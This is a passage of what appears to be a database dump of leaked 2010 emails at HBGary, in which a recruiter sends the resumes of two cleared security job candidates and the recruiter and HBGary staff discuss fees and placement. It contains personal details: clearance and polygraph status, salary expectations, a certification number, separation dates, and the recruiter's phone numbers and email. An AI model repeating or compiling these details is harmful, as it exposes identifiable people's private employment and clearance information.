LLC&nbsp;(cybersecurity information assurance consulting firm)		Oct 08-PresentChief Executive Officer&nbsp;| Tech: Nessus, Snort, Metasploit, Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, NMAP, and open source intelligence collection analysis tools.Chief Cyber Security Consultant, lead penetration testing teams, vulnerability assessments and risk mitigation assessments.&nbsp;Business acumen: Procured two professional consulting service agreements, two statements of work, one paid sponsor agreement; Experience in&nbsp;drafting RFP responses, business development, service development and delivery, marketing, and advertising.United States Cyber Command&nbsp;(formally Joint Functional Component Command – Network Warfare)	Aug 08-Dec 08Computer Network Operations Subject Matter Expert, Senior&nbsp;| Tech: tcpdump, Hping, wget, Dragon IDS, Cisco devices, SonicWALL.Managed team of 15 persons, responsible for coordinating offensive computer network operations for the United States Department of Defense and other federal agencies. This component facilitates cooperative engagement with other national entities in computer network defense and offensive information warfare as part of the global information operations mission.Navy Information Operations Command San Diego											Oct 05-Dec 07Computer Network Defense Operations Manager&nbsp;|Tech: Encase, RealSecure IDS, Snort IDS, eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, Nessus vulnerability scanner, NMAP, and Common Vulnerabilities and Exposures (CVE).Directed 300+ vulnerability and penetration security assessments on 300+ networks. Managed overall network security team of 25 persons and 18 networks across the Pacific Ocean.&nbsp;Lead instructor of passive network analysis, log analysis, intrusion detection, defensive tool installation and configuration for 100+ local customers and 100+ global customers across the Pacific Ocean.Fleet Information Warfare Command, Detachment San Diego									Oct 04-Oct 05Computer Network Defense Analyst, Senior&nbsp;|Tech: Nessus, Snort, IDSCenter, Encase, iptables, tcp wrapper, Ethereal (a.k.a. Wireshark).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed incident response team for Commander, U.S. Naval Forces Central Command; Commander, U.S. Fifth Fleet. Led 150+ vulnerability and penetration security assessments on 300+ networks. Managed 50+ incident response conditions and 20+ incident response teams for Commander, Third Fleet; Commander, Seventh Fleet; and Commander, Fifth Fleet.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Senior instructor of security courses focusing on vulnerability scanning, vulnerability analysis, event monitoring and compliance reporting, incident handling, and penetration testing for 100+ customers.Fleet Intelligence Training Center Pacific, San Diego											Aug 03-Oct 04Communications Watch Officer&nbsp;|Tech: Unix/Solaris/Windows 2K, T1/OC, DMS, encryption devices, Cisco devices, Symantec Security Center.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Operations Center lead systems administrator for 1,000+ customers and 2,000+ communications circuits ranging from west of the Mississippi river to the Hawaiian Islands.USS HIGGINS (DDG-76) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;													Oct 00 - Aug 03Systems Administrator&nbsp;|Tech: Unix/Windows NT enterprise network, Cisco devices, Norton Anti-virus (enterprise), Office 2000.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sensitive Compartmented Information Automated Digital Network Systems (SCI-ADNS) shift worker responsible for Ship Signals Exploitation Space (SSES) global network connectivity which included 20 voice and data circuits and three networked domains.EDUCATIONWestwood College, Denver, CO															May 09BS in Information Systems Security	Magna Cum Laude (GPA 3.97)MILITARYUnited States Navy Active Duty															Oct 00 - Present·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experienced in Information Operations, (a.k.a. Information Warfare), Computer Network Operations: Computer Network Defense, Computer Network Exploitation and Computer Network Attack.&nbsp; Received various personal commendations and awards.2)candidate 2Lives in MDSECURITY CLEARANCE&nbsp;Department of Defense TS/SCI security clearance, with a current Full Scope Polygraph.&nbsp;PROFESSIONAL CERTIFICATION:&nbsp;Certified Information Systems Security Professional (CISSP).WORK EXPERIENCE&nbsp;Computer Sciences Corporation-Enforcement, Security and Intelligence Division –Information Systems Security Officer-February, 2009 to Present.Perform vulnerability assessment scans on production and operational network servers and workstations.Monitor adjustments, updates and changes made to all production and operational servers and workstations, using Tripwire configuration monitoring tools.&nbsp;Assist in providing oversight and enforcement of security directives, orders, standards, plans and procedures.Enforce all information system security procedures in reference to the production, testing, certification and accreditation, and deployment of information systems.&nbsp;Review system security plans and concept of operation documentation to ensure system configuration accuracy.&nbsp;Computer Sciences Corporation/Eagle Alliance- Information Systems Security Officer -August, 2006 to February, 2009.Member of a team responsible for investigating computer security incidents, and reporting recommendations through established channels of authority to mitigate risks or enact change.Maintained critical System Security Plans (SSP’s) for a government client and provides customers with Certification and Accreditation (C&amp;A) assistance, for all inquiries and concerns with respect to installation, operation, maintenance, configuration management and protection of classified and unclassified network devices.Performed life cycle responsibilities and advises modernization change boards, regarding current security posture and repercussions to existing accreditation during modernization.&nbsp;One of the centralized contacts of the Information Security program advising client personnel on policy and good security practices.&nbsp;Conducted monthly briefings to newly hired personnel, with regard to Information Systems Security and proper reporting procedures during the event of a computer security incident.&nbsp;IKON Office Solutions- February, 2006 to August, 2006. &nbsp;Sales representative of document management devices and Multi-Functional Processors (MFP’s, printers, scanners, copiers and other software and professional services).Provided customer support and training for IKON Office Solutions business accounts.Performed various canvassing and marketing activities, to identify and acquire new business.&nbsp;National Security Agency Police Officer, December 13, 2004 – February, 2006.&nbsp;Conducted a myriad of law enforcement and physical security duties for the Department of Defense, in protection of their assets and personnel.Performed a variety of tasks in support of the police department’s main mission, which is counter-terrorism and force protection.Composed numerous incident reports on mitigation of security, medical, and fire emergencies.Managed and controlled personnel access, through monitoring pedestrian and vehicular access points.Responsible for the enforcement of laws and regulations, both federal and state, relative to the protection of life and property.Conducted routine investigation of any possible breach of security or compromise of classified material.United States Navy/ December 19, 1995 – April 27, 2004.&nbsp; Honorable service and discharge.&nbsp;Integrated Undersea Surveillance Systems Supervisor, Acoustic Intelligence Analyst, U.S. Navy,2001- 2004Supervised watch personnel during analysis, tracking and reporting of time critical acoustic contacts, in support of Atlantic Fleet operations.Professionally supervised watch team members, while participating in over 95 different command missions.Provided positioning and acoustic data on over 285 contacts, in support of Noble Eagle and Homeland defense.Suggested improvements to watch station procedures, which resulted in smoother operations and lower volume of classified paperwork.Developed search areas for time critical intelligence data, and drafted tactical messages for Atlantic Fleet forces.&nbsp;Naval Recruiter Canvasser, Naval Recruiting District Philadelphia, U.S. Navy, 2000-2001Identified qualified civilians for enlistment into the United States Navy, through various recruiting techniques.Prospected candidates, conducted interviews, completed enlistment records and counseled rejected applicants.Identified target market populations through analyzing recruiting results, and formulated plans for improving the marketing and recruiting process.Managed the delayed entry program, resulting in a significant decrease in recruit attrition levels, and contributed to the recruiting district making goal for the year.Counseled new recruits on their transition into the Navy, and prepared them for recruit training.Conducted basic background investigations on qualified applicants, based on police records and references listed on application, and National Security background information.&nbsp;Anti-Submarine Warfare Systems Operator, Acoustic Intelligence Analyst, USS George Washington, U.S. Navy, 1997-2000Supported operation of the anti-submarine warfare module through utilization of tactical display, acoustic intelligence, and electronic warfare, environmental and associated equipment.Formatted Maritime messages, acoustic intelligence (MASINT) data submission, and tactical mission briefing, debriefing, and reconstruction in support of carrier airborne operations.Provided safety and security for over 5,000 personnel onboard, as a member of the shipboard police force.Participated in over 50 military flights as a Naval Air Crewman, in support of Anti-Submarine warfare missions.Managed the Respiratory safety program and database for over 2,500 personnel while in the Norfolk Naval Shipyard.Participated in a myriad of physical security and law enforcement duties, for 10 months, while attached to the ships Master at Arms police force.&nbsp;EDUCATION AND TRAINING&nbsp;Master of Science degree in Forensic Studies, Investigations Track, 12/2008 (3.85 GPA)Stevenson University (formerly Villa Julie College).&nbsp; Computer Forensics and Security classes: Forensic Information Technology, Windows Forensic Examinations (Introduction to Encase), Information Systems Security Management, IT Operational Environment, Architecture and Infrastructure and Information Technology Law and Enforcement.Master of Science degree in Criminal Justice, 6/2006, Troy University.&nbsp;Bachelor of Science degree (concentrations in Psychology and Administrative/Management Studies) 7/2003. Excelsior College.Basic Police Officer Training Program, Federal Law Enforcement Training Center, 10 weeks.&nbsp; Glynco, Georgia, 2005.Law Enforcement and Physical Security Training, Department of Defense.&nbsp; 6 weeks of follow on training after graduation from the Federal Law Enforcement Training Center.IS Security Classes: Operational Security Fundamentals, Introduction to Operational Information Assurance, Malicious Code Threat, Operational Information Assurance, A Systems Approach to Threat and Vulnerabilities, Introduction to Information Security, Operational Information Assurance for Managers, Introduction to Key Management, Security and Intrusion Detection Fundamentals, Introduction to System and Network Security, Ethical Hacking and Countermeasures.&nbsp;&nbsp;AWARDS AND PROFESSIONAL EVALUATIONS&nbsp;Received an Award of Excellence for performance of duties during a special project dealing with Information Security and Assurance.&nbsp; Awarded August 2007.&nbsp; (Eagle Alliance)Performance Award for making outstanding contributions to the client’s Information Assurance and Security Program.&nbsp; Awarded July 2007.&nbsp; (Eagle Alliance)Sailor of the year, for the calendar year of 2003.&nbsp;Sailor of the Quarter, for the fourth quarter of Fiscal year 2003.2 Good Conduct medals while serving on Active Duty.&nbsp; First medal awarded on 12/19/1999, and second medal awarded 12/19/2003.3 letters of Commendation, while onboard the USS G. Washington, for superior performance.1 letter of appreciation, for volunteer service in Haifa, Israel.1 Navy and Marine Corps achievement medal, for exceptional performance of duties as watch supervisor and acoustic analyst, from 2001-2004. Awarded on 3/4/2004.Ranked the number one E-5 in the command, during the last evaluation period of active duty service.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PROFESSIONAL MEMBERSHIPS&nbsp;Information Systems Security AssociationAssociation of Certified Fraud Examiners.Fraternal Order of Police, Baltimore County, Maryland.American Legion, Military Veterans.\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;&lt;NPA_color.jpg&gt;We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;&lt;NPA_color.jpg&gt;We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',3844,'aaron_hbgary_com/3844.html'),(10609,'2010-08-19','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008212.M278139P14101Q5464.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Cyber Recruits!','sorry about that!!! My ADD had me in 22 different directions yesterday!!!\r\n \r\n\r\n\r\nOn Aug 19, 2010, at 10:44 AM, Aaron Barr wrote:\r\n\r\n> Hi Ed,\r\n> \r\n> I didn\'t see a fee agreement attached, did I miss it?\r\n> \r\n> Aaron\r\n> \r\n> On Aug 18, 2010, at 1:56 PM, Ed Wallach wrote:\r\n> \r\n>> Hi Aaron,\r\n>> Here\'s my fee agreement for your review and signature. No fees are due until someone reports for work! Then I split the payment in 2. one when they start, the other 30 days later.\r\n>> \r\n>> here\'s the info on both...am getting more resumes together tp send you for review....\r\n>> ed\r\n>> \r\n>> \r\n>> \r\n>> Candidate 1 only has a CI poly. He will commute for the right opportunity. he\'s getting out of the navy and wants more challenging work. (Yes I am currently enlisted in the US Navy on active duty since 2000.  My separation date is November 4, 2010.  I intend to use my current balance of leave to take October off.  This allows me to begin full time employment a month early.  Let me know if you have any other questions.  Thank you.) He\'s making hi 70\'s in the navy but has a few contingent offers in the 130K range... I have him interviewing with SI Government solutions, a raytheon co. this week...\r\n>> \r\n>> candidate 2 in his own words:  I am interested in moving into the area of forensics and network analysis.  This position looks as though it requires more technical and engineering experience than I currently have.  I am interested in moving into a intrusion detection and incident response position.  I perform vulnerability assessment and worked in security documentation prior to that.  I just received my CISSP in May and am very interested in moving into more of a analysis and investigative position.  Does your company have any positions in that area of InfoSec?  he would certainly entertain the idea of relocating, but only temporarily. That would not be his first choice though, He owns a house in Baltimore County and would like to stay in the Ft. Meade area or in the Baltimore/Washington area. He has received a contingent from another company for 125K, 6 weeks PTO and 10 Federal holidays, but he is waiting to hear more on the offer. So he is looking to make 125K, based on his current compensation package and the contingent. \r\n>> \r\n>> \r\n>> On Aug 18, 2010, at 12:52 PM, Aaron Barr wrote:\r\n>> \r\n>>> ok so the second resume fits the clearance bill, experience is a bit junior but might work, let me as the prime some questions.  What type of salary is person looking for?\r\n>>> \r\n>>> The first resume has the right skills but for MD not the right clearances.  Is he willing to commute at all?  I could probably place him on ESOC.  Salary might be bit high though have to check.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Aug 18, 2010, at 10:23 AM, Ed Wallach wrote:\r\n>>> \r\n>>>> Hi Aaron,\r\n>>>> I\'m available this week to discuss recruiting for HB Gary.\r\n>>>> We have a number of highly qualified candidates we have recruited for our other clients. These include VR, Ethical hacking, Pen Testing, reverse engineering, most with at least a ts/sci and some with fullscope polys.\r\n>>>> My office is right near montgomery mall.\r\n>>>> I\'m ready to roll when you are!\r\n>>>> Ed\r\n>>>> \r\n>>>> here\'s a few samples below:\r\n>>>> \r\n>>>> 1)\r\n>>>> candidate 1\r\n>>>> \r\n>>>> Lives in MD\r\n>>>> \r\n>>>> Desires $120K Minimum\r\n>>>> \r\n>>>> Top Secret SCI Clearance until 2013\r\n>>>> \r\n>>>> Need more challenging work than Navy provides.  Focus career path in a large company with room for growth. \r\n>>>> \r\n>>>> ·        Bachelor of Science in Information Systems Security, MAGNA CUM LAUDE; Certified Information Systems Security Professional (CISSP) 363829; Certified Ethical Hacker (CEH); EC-Council Certified Security Analyst (ECSA); Computer Hacking Forensics Investigator (CHFI).\r\n>>>> \r\n>>>> ·        Multidisciplinary management & technical experience – enterprise wide IC IA policy development, CNA/CND/CNE, Technical Assurance, EAL, NIST, DIACAP, INFOCON, STIG, IAVM, risk mitigation strategies, penetration testing, vulnerability assessment, intrusion detection/response, Nessus, Snort, Metasploit, Common Vulnerabilities and Exposures (CVE), Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, digital network intelligence & analysis, exploitation testing.\r\n>>>> \r\n>>>> ·        Active Top Secret Sensitive Compartmented Information clearance and Counter-Intelligence Polygraph, valid from 2000 through 2013.\r\n>>>> \r\n>>>>      Member of Institute of Electrical and Electronics Engineers (IEEE) since January 2006, Member of Association of Information Technology Professionals (AITP) since January 2007, advisor to the AITP Chairman of Standards of Conduct and Code of Ethics Committee, Member of National University Cyber Security Information Assurance Advisory Counsel, HOA Secretary for 109 unit community.\r\n>>>> \r\n>>>>   Published contributing author, published IEEE GOLD newsletter article, webinar speaker, and public conference speaker.\r\n>>>> \r\n>>>> EMPLOYMENT\r\n>>>> \r\n>>>> Navy Information Operations Command Suitland (research & development agency for the US Navy)	Dec 07-Present\r\n>>>> Computer Network Operations (CNO) Research & Development Manager | Tech: Wireshark, Snort, IDA Pro, ProcessExplorer, Strings, Web Application Attack and Audit Framework (w3af), Common Vulnerabilities and Exposures (CVE) and Nessus vulnerability scanner.\r\n>>>> \r\n>>>> Manage 10 person technical team multi-million dollar projects. Experience in program management, request for proposals, product deliver, software application user acceptance testing/evaluation, man-train-equip personnel strategy, technical assurance software evaluation level of assurance processes and software development life cycle procedures supporting the federal landscape.\r\n>>>> \r\n>>>> The Computer Network Defense Group LLC (cybersecurity information assurance consulting firm)		Oct 08-Present\r\n>>>> Chief Executive Officer | Tech: Nessus, Snort, Metasploit, Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, NMAP, and open source intelligence collection analysis tools.\r\n>>>> \r\n>>>> Chief Cyber Security Consultant, lead penetration testing teams, vulnerability assessments and risk mitigation assessments.\r\n>>>> \r\n>>>>  Business acumen: Procured two professional consulting service agreements, two statements of work, one paid sponsor agreement; Experience in drafting RFP responses, business development, service development and delivery, marketing, and advertising.\r\n>>>> \r\n>>>> United States Cyber Command (formally Joint Functional Component Command – Network Warfare)	Aug 08-Dec 08\r\n>>>> \r\n>>>> Computer Network Operations Subject Matter Expert, Senior | Tech: tcpdump, Hping, wget, Dragon IDS, Cisco devices, SonicWALL.\r\n>>>> \r\n>>>> Managed team of 15 persons, responsible for coordinating offensive computer network operations for the United States Department of Defense and other federal agencies. This component facilitates cooperative engagement with other national entities in computer network defense and offensive information warfare as part of the global information operations mission.\r\n>>>> \r\n>>>> Navy Information Operations Command San Diego											Oct 05-Dec 07\r\n>>>> \r\n>>>> Computer Network Defense Operations Manager |Tech: Encase, RealSecure IDS, Snort IDS, eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, Nessus vulnerability scanner, NMAP, and Common Vulnerabilities and Exposures (CVE).\r\n>>>> Directed 300+ vulnerability and penetration security assessments on 300+ networks. Managed overall network security team of 25 persons and 18 networks across the Pacific Ocean.\r\n>>>> \r\n>>>>  Lead instructor of passive network analysis, log analysis, intrusion detection, defensive tool installation and configuration for 100+ local customers and 100+ global customers across the Pacific Ocean.\r\n>>>> \r\n>>>> Fleet Information Warfare Command, Detachment San Diego									Oct 04-Oct 05\r\n>>>> \r\n>>>> Computer Network Defense Analyst, Senior |Tech: Nessus, Snort, IDSCenter, Encase, iptables, tcp wrapper, Ethereal (a.k.a. Wireshark).\r\n>>>> \r\n>>>> ·        Developed incident response team for Commander, U.S. Naval Forces Central Command; Commander, U.S. Fifth Fleet. Led 150+ vulnerability and penetration security assessments on 300+ networks. Managed 50+ incident response conditions and 20+ incident response teams for Commander, Third Fleet; Commander, Seventh Fleet; and Commander, Fifth Fleet.\r\n>>>> \r\n>>>> ·        Senior instructor of security courses focusing on vulnerability scanning, vulnerability analysis, event monitoring and compliance reporting, incident handling, and penetration testing for 100+ customers.\r\n>>>> \r\n>>>> Fleet Intelligence Training Center Pacific, San Diego											Aug 03-Oct 04\r\n>>>> \r\n>>>> Communications Watch Officer |Tech: Unix/Solaris/Windows 2K, T1/OC, DMS, encryption devices, Cisco devices, Symantec Security Center.\r\n>>>> \r\n>>>> ·        Network Operations Center lead systems administrator for 1,000+ customers and 2,000+ communications circuits ranging from west of the Mississippi river to the Hawaiian Islands.\r\n>>>> \r\n>>>> USS HIGGINS (DDG-76)                             													Oct 00 - Aug 03\r\n>>>> \r\n>>>> Systems Administrator |Tech: Unix/Windows NT enterprise network, Cisco devices, Norton Anti-virus (enterprise), Office 2000.\r\n>>>> \r\n>>>> ·        Sensitive Compartmented Information Automated Digital Network Systems (SCI-ADNS) shift worker responsible for Ship Signals Exploitation Space (SSES) global network connectivity which included 20 voice and data circuits and three networked domains.\r\n>>>> \r\n>>>> \r\n>>>> EDUCATION\r\n>>>> \r\n>>>> Westwood College, Denver, CO															May 09\r\n>>>> BS in Information Systems Security	Magna Cum Laude (GPA 3.97)\r\n>>>> \r\n>>>> MILITARY\r\n>>>> \r\n>>>> United States Navy Active Duty															Oct 00 - Present\r\n>>>> ·        Experienced in Information Operations, (a.k.a. Information Warfare), Computer Network Operations: Computer Network Defense, Computer Network Exploitation and Computer Network Attack.  Received various personal commendations and awards.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> 2)\r\n>>>> candidate 2\r\n>>>> Lives in MD\r\n>>>> \r\n>>>> SECURITY CLEARANCE\r\n>>>> \r\n>>>>  Department of Defense TS/SCI security clearance, with a current Full Scope Polygraph.\r\n>>>>  PROFESSIONAL CERTIFICATION:\r\n>>>> \r\n>>>>  Certified Information Systems Security Professional (CISSP).\r\n>>>> \r\n>>>> WORK EXPERIENCE\r\n>>>> \r\n>>>>  Computer Sciences Corporation-Enforcement, Security and Intelligence Division –\r\n>>>> \r\n>>>> Information Systems Security Officer-February, 2009 to Present.\r\n>>>> Perform vulnerability assessment scans on production and operational network servers and workstations.\r\n>>>> Monitor adjustments, updates and changes made to all production and operational servers and workstations, using Tripwire configuration monitoring tools. \r\n>>>> Assist in providing oversight and enforcement of security directives, orders, standards, plans and procedures.\r\n>>>> Enforce all information system security procedures in reference to the production, testing, certification and accreditation, and deployment of information systems. \r\n>>>> Review system security plans and concept of operation documentation to ensure system configuration accuracy. \r\n>>>> Computer Sciences Corporation/Eagle Alliance- Information Systems Security Officer -August, 2006 to February, 2009.\r\n>>>> Member of a team responsible for investigating computer security incidents, and reporting recommendations through established channels of authority to mitigate risks or enact change.\r\n>>>> Maintained critical System Security Plans (SSP’s) for a government client and provides customers with Certification and Accreditation (C&A) assistance, for all inquiries and concerns with respect to installation, operation, maintenance, configuration management and protection of classified and unclassified network devices.\r\n>>>> Performed life cycle responsibilities and advises modernization change boards, regarding current security posture and repercussions to existing accreditation during modernization. \r\n>>>> One of the centralized contacts of the Information Security program advising client personnel on policy and good security practices. \r\n>>>> Conducted monthly briefings to newly hired personnel, with regard to Information Systems Security and proper reporting procedures during the event of a computer security incident.\r\n>>>>  \r\n>>>> IKON Office Solutions- February, 2006 to August, 2006.  \r\n>>>> Sales representative of document management devices and Multi-Functional Processors (MFP’s, printers, scanners, copiers and other software and professional services).\r\n>>>> Provided customer support and training for IKON Office Solutions business accounts.\r\n>>>> Performed various canvassing and marketing activities, to identify and acquire new business.\r\n>>>> \r\n>>>>  \r\n>>>> National Security Agency Police Officer, December 13, 2004 – February, 2006. \r\n>>>> Conducted a myriad of law enforcement and physical security duties for the Department of Defense, in protection of their assets and personnel.\r\n>>>> Performed a variety of tasks in support of the police department’s main mission, which is counter-terrorism and force protection.\r\n>>>> Composed numerous incident reports on mitigation of security, medical, and fire emergencies.\r\n>>>> Managed and controlled personnel access, through monitoring pedestrian and vehicular access points.\r\n>>>> Responsible for the enforcement of laws and regulations, both federal and state, relative to the protection of life and property.\r\n>>>> Conducted routine investigation of any possible breach of security or compromise of classified material.\r\n>>>> \r\n>>>> United States Navy/ December 19, 1995 – April 27, 2004.  Honorable service and discharge.\r\n>>>> \r\n>>>>  \r\n>>>> Integrated Undersea Surveillance Systems Supervisor, Acoustic Intelligence Analyst, U.S. Navy,\r\n>>>> \r\n>>>> 2001- 2004\r\n>>>> \r\n>>>> Supervised watch personnel during analysis, tracking and reporting of time critical acoustic contacts, in support of Atlantic Fleet operations.\r\n>>>> Professionally supervised watch team members, while participating in over 95 different command missions.\r\n>>>> Provided positioning and acoustic data on over 285 contacts, in support of Noble Eagle and Homeland defense.\r\n>>>> Suggested improvements to watch station procedures, which resulted in smoother operations and lower volume of classified paperwork.\r\n>>>> Developed search areas for time critical intelligence data, and drafted tactical messages for Atlantic Fleet forces.\r\n>>>>  \r\n>>>> Naval Recruiter Canvasser, Naval Recruiting District Philadelphia, U.S. Navy, 2000-2001\r\n>>>> Identified qualified civilians for enlistment into the United States Navy, through various recruiting techniques.\r\n>>>> Prospected candidates, conducted interviews, completed enlistment records and counseled rejected applicants.\r\n>>>> Identified target market populations through analyzing recruiting results, and formulated plans for improving the marketing and recruiting process.\r\n>>>> Managed the delayed entry program, resulting in a significant decrease in recruit attrition levels, and contributed to the recruiting district making goal for the year.\r\n>>>> Counseled new recruits on their transition into the Navy, and prepared them for recruit training.\r\n>>>> Conducted basic background investigations on qualified applicants, based on police records and references listed on application, and National Security background information.\r\n>>>>  \r\n>>>> Anti-Submarine Warfare Systems Operator, Acoustic Intelligence Analyst, USS George Washington, U.S. Navy, 1997-2000\r\n>>>> Supported operation of the anti-submarine warfare module through utilization of tactical display, acoustic intelligence, and electronic warfare, environmental and associated equipment.\r\n>>>> Formatted Maritime messages, acoustic intelligence (MASINT) data submission, and tactical mission briefing, debriefing, and reconstruction in support of carrier airborne operations.\r\n>>>> Provided safety and security for over 5,000 personnel onboard, as a member of the shipboard police force.\r\n>>>> Participated in over 50 military flights as a Naval Air Crewman, in support of Anti-Submarine warfare missions.\r\n>>>> Managed the Respiratory safety program and database for over 2,500 personnel while in the Norfolk Naval Shipyard.\r\n>>>> Participated in a myriad of physical security and law enforcement duties, for 10 months, while attached to the ships Master at Arms police force.\r\n>>>>  \r\n>>>> \r\n>>>> EDUCATION AND TRAINING\r\n>>>> \r\n>>>>  \r\n>>>> \r\n>>>> Master of Science degree in Forensic Studies, Investigations Track, 12/2008 (3.85 GPA)\r\n>>>> Stevenson University (formerly Villa Julie College).  Computer Forensics and Security classes: Forensic Information Technology, Windows Forensic Examinations (Introduction to Encase), Information Systems Security Management, IT Operational Environment, Architecture and Infrastructure and Information Technology Law and Enforcement.\r\n>>>> \r\n>>>> Master of Science degree in Criminal Justice, 6/2006, Troy University. \r\n>>>> Bachelor of Science degree (concentrations in Psychology and Administrative/Management Studies) 7/2003. Excelsior College.\r\n>>>> Basic Police Officer Training Program, Federal Law Enforcement Training Center, 10 weeks.  Glynco, Georgia, 2005.\r\n>>>> Law Enforcement and Physical Security Training, Department of Defense.  6 weeks of follow on training after graduation from the Federal Law Enforcement Training Center.\r\n>>>> IS Security Classes: Operational Security Fundamentals, Introduction to Operational Information Assurance, Malicious Code Threat, Operational Information Assurance, A Systems Approach to Threat and Vulnerabilities, Introduction to Information Security, Operational Information Assurance for Managers, Introduction to Key Management, Security and Intrusion Detection Fundamentals, Introduction to System and Network Security, Ethical Hacking and Countermeasures.\r\n>>>>  \r\n>>>>  \r\n>>>> \r\n>>>> AWARDS AND PROFESSIONAL EVALUATIONS\r\n>>>> \r\n>>>>  \r\n>>>> \r\n>>>> Received an Award of Excellence for performance of duties during a special project dealing with Information Security and Assurance.  Awarded August 2007.  (Eagle Alliance)\r\n>>>> Performance Award for making outstanding contributions to the client’s Information Assurance and Security Program.  Awarded July 2007.  (Eagle Alliance)\r\n>>>> Sailor of the year, for the calendar year of 2003. \r\n>>>> Sailor of the Quarter, for the fourth quarter of Fiscal year 2003.\r\n>>>> 2 Good Conduct medals while serving on Active Duty.  First medal awarded on 12/19/1999, and second medal awarded 12/19/2003.\r\n>>>> 3 letters of Commendation, while onboard the USS G. Washington, for superior performance.\r\n>>>> 1 letter of appreciation, for volunteer service in Haifa, Israel.\r\n>>>> 1 Navy and Marine Corps achievement medal, for exceptional performance of duties as watch supervisor and acoustic analyst, from 2001-2004. Awarded on 3/4/2004.\r\n>>>> Ranked the number one E-5 in the command, during the last evaluation period of active duty service.\r\n>>>>                                                                                                                                                                   \r\n>>>> PROFESSIONAL MEMBERSHIPS\r\n>>>> \r\n>>>>  \r\n>>>> Information Systems Security Association\r\n>>>> Association of Certified Fraud Examiners.\r\n>>>> Fraternal Order of Police, Baltimore County, Maryland.\r\n>>>> American Legion, Military Veterans.\r\n>>>> \r\n>>>> \r\n>>>> ~~~~~~~~~~~~~~~~~~~~~~\r\n>>>> Ed Wallach \r\n>>>> President & CEO\r\n>>>> Ed Wallach Search Group \r\n>>>> 301-365-3291 office  \r\n>>>> 301-613-0629 mobile\r\n>>>> 301-365-3292 fax \r\n>>>> ed@wallachsearch.com\r\n>>>> www.wallachsearch.com\r\n>>>> \r\n>>>> Recruiting Intelligence \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> We can help with your national or global staffing needs through our affiliation with NPA.\r\n>>>> \r\n>>>> \r\n>>> \r\n>> \r\n>> \r\n>> ~~~~~~~~~~~~~~~~~~~~~~\r\n>> Ed Wallach \r\n>> President & CEO\r\n>> Ed Wallach Search Group \r\n>> 301-365-3291 office  \r\n>> 301-613-0629 mobile\r\n>> 301-365-3292 fax \r\n>> ed@wallachsearch.com\r\n>> www.wallachsearch.com\r\n>> \r\n>> Recruiting Intelligence \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> We can help with your national or global staffing needs through our affiliation with NPA.\r\n>> \r\n>> \r\n> \r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~\r\nEd Wallach \r\nPresident & CEO\r\nEd Wallach Search Group \r\n301-365-3291 office  \r\n301-613-0629 mobile\r\n301-365-3292 fax \r\ned@wallachsearch.com\r\nwww.wallachsearch.com\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n',8676,'aaron_hbgary_com/8676.html'),(10610,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008212.M653722P14101Q5465.eml','\"Eric Eifert\" <eric.eifert@mantech.com>','ESOC','Hey Eric,I am aggresively looking for people for multiple potential positions. &nbsp;One we are building a proposal for is the TSA ITSSS. &nbsp;I am using a headhunter and he seems to be pretty good. &nbsp;I know you guys are just starting the ESOC but its a sure gig vice TSA as a potential, so if there is a potential for me to fill a few slots do you mind if I send you a few resumes and get your take?Aaronhere is one.1)candidate 1Lives in MDDesires $120K 